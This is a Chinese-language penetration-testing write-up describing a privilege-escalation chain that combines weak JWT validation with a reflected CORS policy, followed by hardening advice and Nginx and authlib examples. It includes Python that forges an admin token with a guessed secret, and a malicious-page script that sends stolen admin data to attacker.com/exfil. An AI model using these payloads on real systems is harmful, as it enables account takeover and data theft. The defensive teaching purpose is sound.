从渗透测试实战看JWT与CORS的安全陷阱一次权限提升的完整链条分析那天下午三点二十七分咖啡机刚发出萃取完成的滴答声Burp Suite的Proxy历史记录里突然跳出一条不寻常的响应——一个本应返回403的API请求竟然带着200状态码和完整的用户列表数据回来了。这个意外发现开启了我们为期三天的权限提升之旅也暴露出现代Web安全架构中最危险的组合漏洞脆弱的JWT实现与宽松的CORS策略。1. 初始侦察与目标定位任何有效的渗透测试都始于充分的信息收集。我们面对的是一个典型的前后端分离架构React前端托管在app.example.comREST API服务部署在api.example.com。通过浏览器开发者工具观察网络请求几个关键特征立即引起了我们的注意所有API请求都在Authorization头中使用Bearer token跨域请求携带Origin: https://app.example.com头部响应中包含Access-Control-Allow-Credentials: true使用Burp的Repeater模块重放请求时我们构造了以下测试用例GET /api/v1/users/me HTTP/1.1 Host: api.example.com Origin: https://attacker.com Cookie: sessioneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...令人惊讶的是服务器返回了{ id: 123, username: test_user, role: user }这表明CORS策略可能存在配置缺陷。更关键的是观察JWT令牌的结构发现其使用HS256算法且未设置适当的过期时间exp claim。2. JWT令牌的元数据攻击JSON Web Tokens作为现代认证方案的核心组件其安全性高度依赖于实现细节。我们通过jwt.io解码获得的令牌{ alg: HS256, typ: JWT } { sub: 123, name: test_user, role: user, iat: 1625097600 }关键发现使用对称加密算法HS256而非RS256缺少标准声明如exp, aud角色信息直接存储在令牌中通过Burp的JWT Editor插件我们尝试了以下攻击路径算法混淆攻击将头部修改为{alg:none}并移除签名密钥爆破使用已知的弱密钥列表如secret、changeme进行签名验证声明注入直接修改payload中的role字段为adminimport jwt # 使用爆破得到的密钥伪造管理员令牌 malicious_token jwt.encode( {sub:123,name:test_user,role:admin,iat:1625097600}, company_default_secret, algorithmHS256 )第三种方法取得了成功。系统完全信任客户端提供的角色声明没有任何服务器端验证。3. 利用CORS错误配置扩大攻击面虽然获得了管理员令牌但真正的挑战在于如何让受害者的浏览器执行跨域请求。测试发现API端点存在以下CORS配置HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT这种反射型CORS策略即动态回显请求中的Origin头结合Allow-Credentials构成了典型的权限提升漏洞。我们构建了恶意页面script fetch(https://api.example.com/api/v1/admin/users, { credentials: include, headers: { Authorization: Bearer 伪造的JWT } }).then(res res.json()) .then(data fetch(https://attacker.com/exfil, { method: POST, body: JSON.stringify(data) })); /script当管理员用户访问该页面时其浏览器会自动携带合法cookie发起跨域请求而服务器错误地认为这是合法操作。4. 强制浏览与横向移动获得初始立足点后我们开始探索系统内部的访问控制缺陷。通过Burp的Intruder模块对API端点进行枚举/api/v1/admin/users /api/v1/admin/roles /api/v1/config /api/v1/logs发现系统存在不安全的直接对象引用IDOR漏洞。例如修改以下URL中的用户ID参数可以访问任意用户数据GET /api/v1/users/[id]/profile更严重的是某些管理接口未对HTTP方法实施访问控制DELETE /api/v1/users/456 HTTP/1.1 Host: api.example.com Authorization: Bearer 普通用户令牌这种漏洞组合允许攻击者从普通用户权限开始逐步收集信息、提升权限最终完全控制系统。5. 防御策略的多层防护基于此次测试暴露的问题我们建议采用深度防御策略JWT安全加固使用非对称算法RS256/ES256设置合理的令牌有效期建议≤15分钟关键操作要求二次认证服务器端维护令牌吊销列表# 最佳实践示例 from authlib.jose import JsonWebKey, JsonWebToken private_key JsonWebKey.generate_key(RSA, 2048) jwt JsonWebToken([RS256]) token jwt.encode( {alg: RS256}, {sub: user123, exp: datetime.utcnow() timedelta(minutes15)}, private_key )CORS严格策略预定义允许的Origin白名单禁止Credentials与通配符(*)组合使用对敏感接口禁用CORS# Nginx配置示例 map $http_origin $cors_origin { default ; ~^https://(app|partner)\.example\.com$ $http_origin; } server { location /api/ { if ($cors_origin ) { return 403; } add_header Access-Control-Allow-Origin $cors_origin; add_header Access-Control-Allow-Methods GET, POST; add_header Access-Control-Allow-Headers Content-Type; add_header Access-Control-Max-Age 86400; } }访问控制增强实施基于属性的访问控制ABAC所有敏感操作记录详细审计日志对管理接口实施速率限制定期进行自动化权限矩阵测试6. 从攻击者视角看防御有效性真正有效的安全措施需要站在攻击者角度思考。我们验证防御方案时特别关注令牌篡改检测服务器是否验证签名算法与预期一致权限变更响应用户角色修改后是否立即失效现有令牌CORS预检请求OPTIONS方法是否实施与主请求相同的访问控制API端点防护是否每个端点都明确定义了所需的权限级别一个实用的测试方法是构建自动化扫描脚本#!/bin/bash # 测试CORS配置 curl -H Origin: https://attacker.com \ -H Authorization: Bearer invalid_token \ -v https://api.example.com/api/v1/users/me # 测试JWT验证 curl -H Authorization: Bearer eyJhbGciOiJub25lIn0... \ https://api.example.com/api/v1/admin/users在项目上线前我们建议进行至少三轮测试自动化扫描、手动渗透测试和红蓝对抗演练。只有经过多维度验证的方案才能有效抵御现实世界中的复合攻击。